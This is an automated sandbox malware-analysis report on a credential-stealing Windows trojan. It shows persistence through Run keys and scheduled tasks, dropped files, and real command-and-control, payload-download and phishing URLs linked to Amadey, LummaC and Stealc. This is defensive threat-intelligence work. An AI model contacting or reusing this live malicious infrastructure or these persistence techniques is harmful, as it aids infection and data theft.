Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@81/79@50/17
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.21.35, 172.217.19.238, 173.194.222.84, 172.217.17.46, 142.250.181.99, 142.250.181.138, 172.217.19.234, 172.217.19.202, 142.250.181.106, 172.217.19.10, 142.250.181.74, 142.250.181.42, 172.217.17.74, 172.217.17.42, 216.58.208.234, 142.250.181.10, 2.22.50.131, 192.229.221.95, 54.200.77.17, 35.85.93.176, 44.228.225.150, 184.30.17.189, 23.206.96.222, 20.189.173.11, 172.217.19.170, 13.74.129.1, 2.19.198.56, 23.32.238.130, 184.30.17.174, 13.107.246.63, 20.12.23.50
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, incoming.telemetry.mozilla.org, clientservices.googleapis.com, browser.events.data.trafficmanager.net, aus5.mozilla.org, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, clients2.google.com, go.microsoft.com, ocsp.digicert.com, redirector.gvt1.com, onedscolprdwus10.westus.cloudapp.azure.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, www.gstatic.com, optimizationguide-pa.googleapis.com, fs.microsoft.com, shavar.prod.mozaws.net, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, ctldl.windowsupdate.com, ogads-pa.googleapis.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, detectportal.prod.mozaws.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, e13636.dscb.akamaiedge.net, learn-public.trafficmanager.net, go.micro
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:50:53	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
02:51:28	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run feb3d39b6a.exe C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe
02:51:37	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 815f2a8fe8.exe C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe
02:51:46	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 0d957dbf73.exe C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe
02:51:54	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 57a07eec2d.exe C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe
02:52:03	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run feb3d39b6a.exe C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe
02:52:12	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 815f2a8fe8.exe C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe
02:52:23	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 0d957dbf73.exe C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe
02:52:33	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 57a07eec2d.exe C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe
20:50:28	API Interceptor	184x Sleep call for process: file.exe modified
20:51:01	API Interceptor	1764x Sleep call for process: skotes.exe modified
20:51:26	API Interceptor	62x Sleep call for process: feb3d39b6a.exe modified
20:51:43	API Interceptor	124x Sleep call for process: 2533b4b8c7.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	8GHb2yuPOk.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
80.82.65.70	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	80.82.65.70/files/download
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	80.82.65.70/files/download
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	80.82.65.70/soft/download

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
prod.remote-settings.prod.webservices.mozgcp.net	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.100.209
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.100.209
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.100.209
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.100.209
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	34.149.100.209
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.100.209
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.100.209
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.100.209
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.100.209
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.100.209
contile.services.mozilla.com	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	34.117.188.166
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	93.184.215.14
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
s-part-0035.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	https://sgwarch-my.sharepoint.com/:f:/p/setup1/EiozDTFdgcdOj57XSlxa0wgB_yucGXpVtBz0YeRUUS4djA?e=J1BMm6&xsdata=MDV8MDJ8bG9nYW5AaG9sdHhwLmNvbXw4NzViY2I1MjBhNzQ0NjAxMGYxODA4ZGQxODZlODVlN3w0Y2NhZDYyOTg3ZWM0MmRmOTU3YTYxMmI0OTU2YmE3NXwwfDB8NjM4NjkzNTg1MTc0NTY1ODEyfFVua25vd258VFdGcGJHWnNiM2Q4ZXlKRmJYQjBlVTFoY0draU9uUnlkV1VzSWxZaU9pSXdMakF1TURBd01DSXNJbEFpT2lKWGFXNHpNaUlzSWtGT0lqb2lUV0ZwYkNJc0lsZFVJam95ZlE9PXwwfHx8&sdata=cmt5N3BwOXR0VGIwbDEyNWFnZmRKYVBMMzhQVUJ4bmJpNnppZGtydXJjST0%3d	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	13.107.246.63
	https://www.google.com.hk/url?q=KWUZMS42J831JSWOSF4KEIP36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%25RANDOM4%25wDnNeW8yycT&sa=t&esrc=nNeW8F%25RANDOM3%25A0xys8Em2FL&source=&cd=tS6T8%25RANDOM3%25Tiw9XH&cad=XpPkDfJX%25RANDOM4%25VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fjvsimmigration.com/c/efcfa9e5f8b2f41713ea899643a31954/YnJ1Y2VwQGxlc21hbi5jb20=	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	13.107.246.63
	https://xxx.cloudlawservices.com/fROBJ/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	Play_VM-NowCRQW.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	34.117.188.166
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
INT-NETWORKSC	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	80.82.65.70
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	80.82.65.70
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	80.82.65.70
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	80.82.65.70

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	104.21.16.1
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	104.21.16.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.16.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.16.1
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	hD7SED8r8Q.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	5EZLEXDveC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, Vidar, XWorm	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	hD7SED8r8Q.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	5EZLEXDveC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, Vidar, XWorm	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAAAECGHCBGCBFHIIDHIJKFBKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BFHDHJKKJDHJJJJKEGHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECBKKKFH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHDGIJJD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJEBGHIEBFIJKECBKFHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\IECFIEGDBKJKFIDHIECGDGIEBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJDGDGDHDGDBFIDHDBAF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: hD7SED8r8Q.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 5EZLEXDveC.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
